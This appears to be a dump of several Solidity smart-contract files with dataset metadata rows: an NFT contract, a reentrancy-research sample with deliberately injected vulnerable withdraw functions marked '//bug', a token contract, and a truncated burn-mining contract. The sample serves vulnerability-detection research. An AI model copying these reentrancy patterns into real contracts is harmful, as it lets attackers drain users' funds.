function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
library Counters {
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
contract CheemsxNFT is ERC721URIStorage {
constructor() ERC721("CheemsX NFT", "CheemsxNFT") {}
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
struct UserInfo {
uint256 amount;
uint256 tokenId;
}
struct TokenInfo {
uint256 amount;
address owner;
}
// Info of each user that irreversible.
mapping(uint256 => TokenInfo) public tokenInfo;
mapping(address => UserInfo) public userInfo;
function createToken(address recipient, uint256 amount) public returns (uint256) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
UserInfo storage user = userInfo[recipient];
if(user.amount == 0) {
_mint(recipient, newItemId);
TokenInfo storage token = tokenInfo[newItemId];
token.owner = recipient;
user.tokenId = newItemId;
token.amount = amount;
} else {
TokenInfo storage token = tokenInfo[user.tokenId];
token.amount = token.amount + amount;
}
user.amount = user.amount + amount;
return newItemId;
}
}
| 128,843 | 13,192 |
1c5706bcd9dee3ac66c4ce60a2f396906ad830191d52fb9db7cccdf6a6c30584
| 17,246 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/reentrancy/buggy_curated/buggy_43.sol
| 4,394 | 16,082 |
pragma solidity ^0.5.0;
contract EventMetadata {
mapping(address => uint) userBalance_re_ent33;
function withdrawBalance_re_ent33() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent33[msg.sender])("");
if(! success){
revert();
}
userBalance_re_ent33[msg.sender] = 0;
}
event MetadataSet(bytes metadata);
// state functions
function _setMetadata(bytes memory metadata) internal {
emit MetadataSet(metadata);
}
address payable lastPlayer_re_ent2;
uint jackpot_re_ent2;
function buyTicket_re_ent2() public{
if (!(lastPlayer_re_ent2.send(jackpot_re_ent2)))
revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
}
contract Operated {
mapping(address => uint) redeemableEther_re_ent11;
function claimReward_re_ent11() public {
// ensure there is a reward to give
require(redeemableEther_re_ent11[msg.sender] > 0);
uint transferValue_re_ent11 = redeemableEther_re_ent11[msg.sender];
msg.sender.transfer(transferValue_re_ent11); //bug
redeemableEther_re_ent11[msg.sender] = 0;
}
address private _operator;
mapping(address => uint) balances_re_ent1;
function withdraw_balances_re_ent1 () public {
(bool success,) =msg.sender.call.value(balances_re_ent1[msg.sender ])("");
if (success)
balances_re_ent1[msg.sender] = 0;
}
bool private _status;
bool not_called_re_ent27 = true;
function bug_re_ent27() public{
require(not_called_re_ent27);
if(! (msg.sender.send(1 ether))){
revert();
}
not_called_re_ent27 = false;
}
event OperatorUpdated(address operator, bool status);
// state functions
function _setOperator(address operator) internal {
require(_operator != operator, "cannot set same operator");
_operator = operator;
emit OperatorUpdated(operator, hasActiveOperator());
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)("");
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
function _transferOperator(address operator) internal {
// transferring operator-ship implies there was an operator set before this
require(_operator != address(0), "operator not set");
_setOperator(operator);
}
address payable lastPlayer_re_ent37;
uint jackpot_re_ent37;
function buyTicket_re_ent37() public{
if (!(lastPlayer_re_ent37.send(jackpot_re_ent37)))
revert();
lastPlayer_re_ent37 = msg.sender;
jackpot_re_ent37 = address(this).balance;
}
function _renounceOperator() internal {
require(hasActiveOperator(), "only when operator active");
_operator = address(0);
_status = false;
emit OperatorUpdated(address(0), false);
}
mapping(address => uint) balances_re_ent3;
function withdrawFunds_re_ent3 (uint256 _weiToWithdraw) public {
require(balances_re_ent3[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)("");
require(success); //bug
balances_re_ent3[msg.sender] -= _weiToWithdraw;
}
function _activateOperator() internal {
require(!hasActiveOperator(), "only when operator not active");
_status = true;
emit OperatorUpdated(_operator, true);
}
address payable lastPlayer_re_ent9;
uint jackpot_re_ent9;
function buyTicket_re_ent9() public{
(bool success,) = lastPlayer_re_ent9.call.value(jackpot_re_ent9)("");
if (!success)
revert();
lastPlayer_re_ent9 = msg.sender;
jackpot_re_ent9 = address(this).balance;
}
function _deactivateOperator() internal {
require(hasActiveOperator(), "only when operator active");
_status = false;
emit OperatorUpdated(_operator, false);
}
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.transfer(transferValue_re_ent25); //bug
redeemableEther_re_ent25[msg.sender] = 0;
}
// view functions
function getOperator() public view returns (address operator) {
operator = _operator;
}
mapping(address => uint) userBalance_re_ent19;
function withdrawBalance_re_ent19() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if(! (msg.sender.send(userBalance_re_ent19[msg.sender]))){
revert();
}
userBalance_re_ent19[msg.sender] = 0;
}
function isOperator(address caller) public view returns (bool ok) {
return (caller == getOperator());
}
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])("");
if(! success){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
function hasActiveOperator() public view returns (bool ok) {
return _status;
}
bool not_called_re_ent20 = true;
function bug_re_ent20() public{
require(not_called_re_ent20);
if(! (msg.sender.send(1 ether))){
revert();
}
not_called_re_ent20 = false;
}
function isActiveOperator(address caller) public view returns (bool ok) {
return (isOperator(caller) && hasActiveOperator());
}
mapping(address => uint) redeemableEther_re_ent32;
function claimReward_re_ent32() public {
// ensure there is a reward to give
require(redeemableEther_re_ent32[msg.sender] > 0);
uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender];
msg.sender.transfer(transferValue_re_ent32); //bug
redeemableEther_re_ent32[msg.sender] = 0;
}
}
contract MultiHashWrapper {
// bytes32 hash first to fill the first storage slot
struct MultiHash {
bytes32 hash;
uint8 hashFunction;
uint8 digestSize;
}
function _combineMultiHash(MultiHash memory multihash) internal pure returns (bytes memory) {
bytes memory out = new bytes(34);
out[0] = byte(multihash.hashFunction);
out[1] = byte(multihash.digestSize);
uint8 i;
for (i = 0; i < 32; i++) {
out[i+2] = multihash.hash[i];
}
return out;
}
mapping(address => uint) balances_re_ent38;
function withdrawFunds_re_ent38 (uint256 _weiToWithdraw) public {
require(balances_re_ent38[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent38[msg.sender] -= _weiToWithdraw;
}
function _splitMultiHash(bytes memory source) internal pure returns (MultiHash memory) {
require(source.length == 34, "length of source must be 34");
uint8 hashFunction = uint8(source[0]);
uint8 digestSize = uint8(source[1]);
bytes32 hash;
assembly {
hash := mload(add(source, 34))
}
return (MultiHash({
hashFunction: hashFunction,
digestSize: digestSize,
hash: hash
}));
}
mapping(address => uint) redeemableEther_re_ent4;
function claimReward_re_ent4() public {
// ensure there is a reward to give
require(redeemableEther_re_ent4[msg.sender] > 0);
uint transferValue_re_ent4 = redeemableEther_re_ent4[msg.sender];
msg.sender.transfer(transferValue_re_ent4); //bug
redeemableEther_re_ent4[msg.sender] = 0;
}
}
interface iFactory {
event InstanceCreated(address indexed instance, address indexed creator, string initABI, bytes initData);
function create(bytes calldata initData) external returns (address instance);
function createSalty(bytes calldata initData, bytes32 salt) external returns (address instance);
function getInitSelector() external view returns (bytes4 initSelector);
function getInstanceRegistry() external view returns (address instanceRegistry);
function getTemplate() external view returns (address template);
function getSaltyInstance(bytes calldata, bytes32 salt) external view returns (address instance);
function getNextInstance(bytes calldata) external view returns (address instance);
function getInstanceCreator(address instance) external view returns (address creator);
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
contract ProofHash is MultiHashWrapper {
bool not_called_re_ent41 = true;
function bug_re_ent41() public{
require(not_called_re_ent41);
if(! (msg.sender.send(1 ether))){
revert();
}
not_called_re_ent41 = false;
}
MultiHash private _proofHash;
mapping(address => uint) balances_re_ent31;
function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
}
event ProofHashSet(address caller, bytes proofHash);
// state functions
function _setProofHash(bytes memory proofHash) internal {
_proofHash = MultiHashWrapper._splitMultiHash(proofHash);
emit ProofHashSet(msg.sender, proofHash);
}
uint256 counter_re_ent7 =0;
function callme_re_ent7() public{
require(counter_re_ent7<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent7 += 1;
}
// view functions
function getProofHash() public view returns (bytes memory proofHash) {
proofHash = MultiHashWrapper._combineMultiHash(_proofHash);
}
address payable lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
if (!(lastPlayer_re_ent23.send(jackpot_re_ent23)))
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
}
contract Template {
uint256 counter_re_ent42 =0;
function callme_re_ent42() public{
require(counter_re_ent42<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent42 += 1;
}
address private _factory;
// modifiers
modifier initializeTemplate() {
// set factory
_factory = msg.sender;
// only allow function to be delegatecalled from within a constructor.
uint32 codeSize;
assembly { codeSize := extcodesize(address) }
require(codeSize == 0, "must be called within contract constructor");
_;
}
// view functions
function getCreator() public view returns (address creator) {
// iFactory(...) would revert if _factory address is not actually a factory contract
creator = iFactory(_factory).getInstanceCreator(address(this));
}
uint256 counter_re_ent14 =0;
function callme_re_ent14() public{
require(counter_re_ent14<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent14 += 1;
}
function isCreator(address caller) public view returns (bool ok) {
ok = (caller == getCreator());
}
address payable lastPlayer_re_ent30;
uint jackpot_re_ent30;
function buyTicket_re_ent30() public{
if (!(lastPlayer_re_ent30.send(jackpot_re_ent30)))
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
}
function getFactory() public view returns (address factory) {
factory = _factory;
}
mapping(address => uint) balances_re_ent8;
function withdraw_balances_re_ent8 () public {
(bool success,) = msg.sender.call.value(balances_re_ent8[msg.sender ])("");
if (success)
balances_re_ent8[msg.sender] = 0;
}
}
contract Post is ProofHash, Operated, EventMetadata, Template {
bool not_called_re_ent13 = true;
function bug_re_ent13() public{
require(not_called_re_ent13);
(bool success,)=msg.sender.call.value(1 ether)("");
if(! success){
revert();
}
not_called_re_ent13 = false;
}
event Initialized(address operator, bytes multihash, bytes metadata);
function initialize(address operator,
bytes memory multihash,
bytes memory metadata) public initializeTemplate() {
// set storage variables
if (multihash.length != 0) {
ProofHash._setProofHash(multihash);
}
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
Operated._activateOperator();
}
// set metadata
if (metadata.length != 0) {
EventMetadata._setMetadata(metadata);
}
// log initialization params
emit Initialized(operator, multihash, metadata);
}
mapping(address => uint) redeemableEther_re_ent39;
function claimReward_re_ent39() public {
// ensure there is a reward to give
require(redeemableEther_re_ent39[msg.sender] > 0);
uint transferValue_re_ent39 = redeemableEther_re_ent39[msg.sender];
msg.sender.transfer(transferValue_re_ent39); //bug
redeemableEther_re_ent39[msg.sender] = 0;
}
// state functions
function setMetadata(bytes memory metadata) public {
// only active operator or creator
require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator");
// set metadata
EventMetadata._setMetadata(metadata);
}
mapping(address => uint) balances_re_ent36;
function withdraw_balances_re_ent36 () public {
if (msg.sender.send(balances_re_ent36[msg.sender ]))
balances_re_ent36[msg.sender] = 0;
}
function transferOperator(address operator) public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._transferOperator(operator);
}
uint256 counter_re_ent35 =0;
function callme_re_ent35() public{
require(counter_re_ent35<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent35 += 1;
}
function renounceOperator() public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._renounceOperator();
}
mapping(address => uint) userBalance_re_ent40;
function withdrawBalance_re_ent40() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)=msg.sender.call.value(userBalance_re_ent40[msg.sender])("");
if(! success){
revert();
}
userBalance_re_ent40[msg.sender] = 0;
}
}
| 132,870 | 13,193 |
81e745f6151bfc129362331b8897296306afa072a965670defba3767437f9df1
| 13,856 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x833e8e3d15a2e275548f81fef74c6d46e28b4c9c.sol
| 3,134 | 11,361 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
//address public txsender;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public
{
owner = msg.sender;
// txsender = tx.origin;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event setNewBlockEvent(string SecretKey_Pre, string Name_New, string TxHash_Pre, string DigestCode_New, string Image_New, string Note_New);
}
contract StandardToken is Token {
address public note_contract;
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract StockMintToken is StandardToken, Ownable {
event StockMint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 value);
event MintFinished();
using SafeMath for uint256;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function stockmint(address _to,
uint256 _amount)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit StockMint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function burn(uint256 _value)
public
{
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract RepaymentToken is StandardToken, Ownable {
event Repayment(address indexed _debit_contract, uint256 amount);
using SafeMath for uint256;
modifier hasRepaymentPermission() {
require(msg.sender == note_contract);
_;
}
function repayment(uint256 _amount)
public
hasRepaymentPermission
returns (bool)
{
totalSupply = totalSupply.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Repayment(msg.sender, _amount);
emit Paidto(owner, _amount);
return true;
}
event Paidto(address indexed _to_creditor, uint256 _value);
}
contract CreditableToken is StandardToken, Ownable {
using SafeMath for uint256;
event Credit(address indexed _debit_contract, uint256 value);
function credit(uint256 _value)
public
{
require(_value > 0);
require(_value <= balances[owner]);
require(msg.sender == note_contract);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
//address _creditor = owner;
balances[owner] = balances[owner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Credit(msg.sender, _value);
emit Drawdown(owner, _value);
}
event Drawdown(address indexed _from_creditor, uint256 _value);
}
contract Flower is CreditableToken, RepaymentToken, StockMintToken {
constructor() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function connectContract(address _note_address) public onlyOwner {
note_contract = _note_address;
}
string public name = "Flower";
string public symbol = "AHF";
uint public constant decimals = 0;
uint256 public constant INITIAL_SUPPLY = 1 * (10 ** uint256(decimals));
string public Image_root = "https://swarm.chainbacon.com/bzz:/1439278b5e75766bfb93590ee4aa5148ab36c507ad8bcff74db29465724813b2/";
string public Note_root = "https://swarm.chainbacon.com/bzz:/41c5c8de2af90d2ef8491ea663cdef49d18d6b82daf0d199204a7b74b0fb5fd0/";
string public Document_root = "none";
string public DigestCode_root = "2e162b64d92446c69752a5b7e80cac24e6e5f09a0d2d0683f96a18d9092728ee";
function getIssuer() public pure returns(string) { return "SomeoneDimensionArt"; }
function getTrustee() public pure returns(string) { return "DimensionArt"; }
string public TxHash_root = "genesis";
string public ContractSource = "";
string public CodeVersion = "v0.1";
string public SecretKey_Pre = "";
string public Name_New = "";
string public TxHash_Pre = "";
string public DigestCode_New = "";
string public Image_New = "";
string public Note_New = "";
string public Document_New = "";
uint256 public CreditRate = 100 * (10 ** uint256(decimals));
function getName() public view returns(string) { return name; }
function getDigestCodeRoot() public view returns(string) { return DigestCode_root; }
function getTxHashRoot() public view returns(string) { return TxHash_root; }
function getImageRoot() public view returns(string) { return Image_root; }
function getNoteRoot() public view returns(string) { return Note_root; }
function getDocumentRoot() public view returns(string) { return Document_root; }
function getCodeVersion() public view returns(string) { return CodeVersion; }
function getContractSource() public view returns(string) { return ContractSource; }
function getSecretKeyPre() public view returns(string) { return SecretKey_Pre; }
function getNameNew() public view returns(string) { return Name_New; }
function getTxHashPre() public view returns(string) { return TxHash_Pre; }
function getDigestCodeNew() public view returns(string) { return DigestCode_New; }
function getImageNew() public view returns(string) { return Image_New; }
function getNoteNew() public view returns(string) { return Note_New; }
function getDocumentNew() public view returns(string) { return Document_New; }
function updateCreditRate(uint256 _rate) public onlyOwner returns (uint256) {
CreditRate = _rate;
return CreditRate;
}
function setNewBlock(string _SecretKey_Pre, string _Name_New, string _TxHash_Pre, string _DigestCode_New, string _Image_New, string _Note_New) returns (bool success) {
SecretKey_Pre = _SecretKey_Pre;
Name_New = _Name_New;
TxHash_Pre = _TxHash_Pre;
DigestCode_New = _DigestCode_New;
Image_New = _Image_New;
Note_New = _Note_New;
emit setNewBlockEvent(SecretKey_Pre, Name_New, TxHash_Pre, DigestCode_New, Image_New, Note_New);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
require(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
| 339,692 | 13,194 |
7b0f75835ec4d01134bd5926d8935618c1e502295725d31ed2a87d155071c4ef
| 28,909 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTNN9kFKmZBTSvRj2Vj9D3hu6XE8yek95N_BurnMiningNew.sol
| 5,201 | 19,303 |
//SourceUnit: BurnMiningTest.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address _to, uint256 _amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IOracle {
function consultAveragePrice(address token, uint256 interval) external view returns (uint256);
}
// txToken: 0x7BACABB0B39C29B890CD9DB2DF9F9450972B7B89
// genesisUser: 0xB3DDBE2A15E722D56FEC480AABB65AD15BE053FE
// Lands: 0xD46C1BB0410EDDEC4E11BA7C8AAF2C73B3A322A6
contract BurnMiningNew is Ownable {
using SafeMath for uint256;
enum Level { BORN, PEOPLE, LAND, SKY }
// token24h
event BurnAddPower(address user, uint256 value, uint256 tokenValue, uint256 burnedToUSDT, uint256 burnPower, uint256 price, address referrer);
//
event Registration(address user, address referer);
//
event ChangeLevel(address user, Level oldLevel, Level newLevel);
//
event StartSettling(uint256 blockNum, uint256 price);
//
event EndSettling(uint256 blockNum);
// tokentoken
event DistributeReward(address user, uint256 costBurnedToUSDT, uint256 costBurnedToPower, uint256 rewardNum, uint256 newRewardNum, uint256 poolReward, uint256 rankReward, uint256 publicityReward, uint256 teamReward);
//
event ClaimReward(address user, uint256 userReward);
//
event ClaimPoolReward(address user, uint256 reward);
//
event ClaimPublicityReward(address user, uint256 reward);
//
event ClaimTeamReward(address user, uint256 reward);
struct UserInfo {
//
address user;
//
bool isExisted;
// id
uint256 id;
//
uint256 lastBurnedTimestamp;
// U
uint256 burnedToUSDT;
// U= +
uint256 mintTokenPower;
// U
uint256 lastBurnedValue;
//
address referrer;
//
Level level;
// Token
uint256 pendingReward;
}
// ************************ Config ************************
//
uint256 public epochAmount;
//
uint256 public miningMultiple = 3;
//
uint256 public powerMultiple = 2;
// Oracle
IOracle public oracle;
// txToken
IERC20 public txToken;
//
address public genesisUser;
// token
uint256 public pendingPoolReward;
//
address public feeToPool;
// token
uint256 public pendingPublicityReward;
//
address public feeToPublicity;
//
uint256 public pendingTeamReward;
//
address public feeToTeam;
//
uint256 public pendingRankReward;
// ************************ State ************************
//
uint256 public totalPower;
//
address[] public allUser;
//
bool public isSettling;
//
uint256 public settlingPrice;
//
uint256 public lastBlockNum;
//
uint256 public burnedInterval = 24 hours;
//
mapping(address => UserInfo) public addressUserInfo;
// id => address
mapping(uint256 => address) public userIdAddress;
// =>
mapping(Level => uint256) public levelMultiple;
modifier running() {
require(!isSettling, "BurnMing: IS_SETTLING");
_;
}
modifier settling() {
require(isSettling, "BurnMing: IS_RUNNING");
_;
}
constructor(IERC20 _txToken,
IOracle _oracle,
address _genesisUser) public {
require(address(_txToken) != address(0), "BurnMing: TOKEN_ZERO_ADDRESS");
require(address(_oracle) != address(0), "BurnMing: ORACLE_ZERO_ADDRESS");
require(address(_genesisUser) != address(0), "BurnMing: FIRST_USER_ZERO_ADDRESS");
txToken = _txToken;
oracle = _oracle;
genesisUser = _genesisUser;
//
UserInfo storage userInfo = addressUserInfo[_genesisUser];
userInfo.user = _genesisUser;
userInfo.isExisted = true;
userInfo.level = Level.BORN;
userInfo.id = allUser.length;
userIdAddress[userInfo.id] = genesisUser;
allUser.push(genesisUser);
// 2/3/5/10
levelMultiple[Level.BORN] = uint256(2);
levelMultiple[Level.PEOPLE] = uint256(3);
levelMultiple[Level.LAND] = uint256(5);
levelMultiple[Level.SKY] = uint256(10);
//
lastBlockNum = block.number;
}
function getTokenAveragePrice() public pure returns (uint256) {
// uint256 price = oracle.consultAveragePrice(address(txToken), 24 hours);
uint256 price = 500000;
return price;
}
//
function _register(address _referrer) internal returns (bool success) {
if (msg.sender == genesisUser) {
return true;
}
// 0
require(_referrer != address(0), "BurnMingZERO_ADDRESS");
//
require(msg.sender != _referrer, "BurnMingCALLER_NOT_SAME_AS_REFERER");
//
UserInfo storage refererInfo = addressUserInfo[_referrer];
//
UserInfo storage userInfo = addressUserInfo[msg.sender];
//
require(refererInfo.isExisted, "BurnMingREFERER_NOT_REGISTRATION");
//
if(!userInfo.isExisted) {
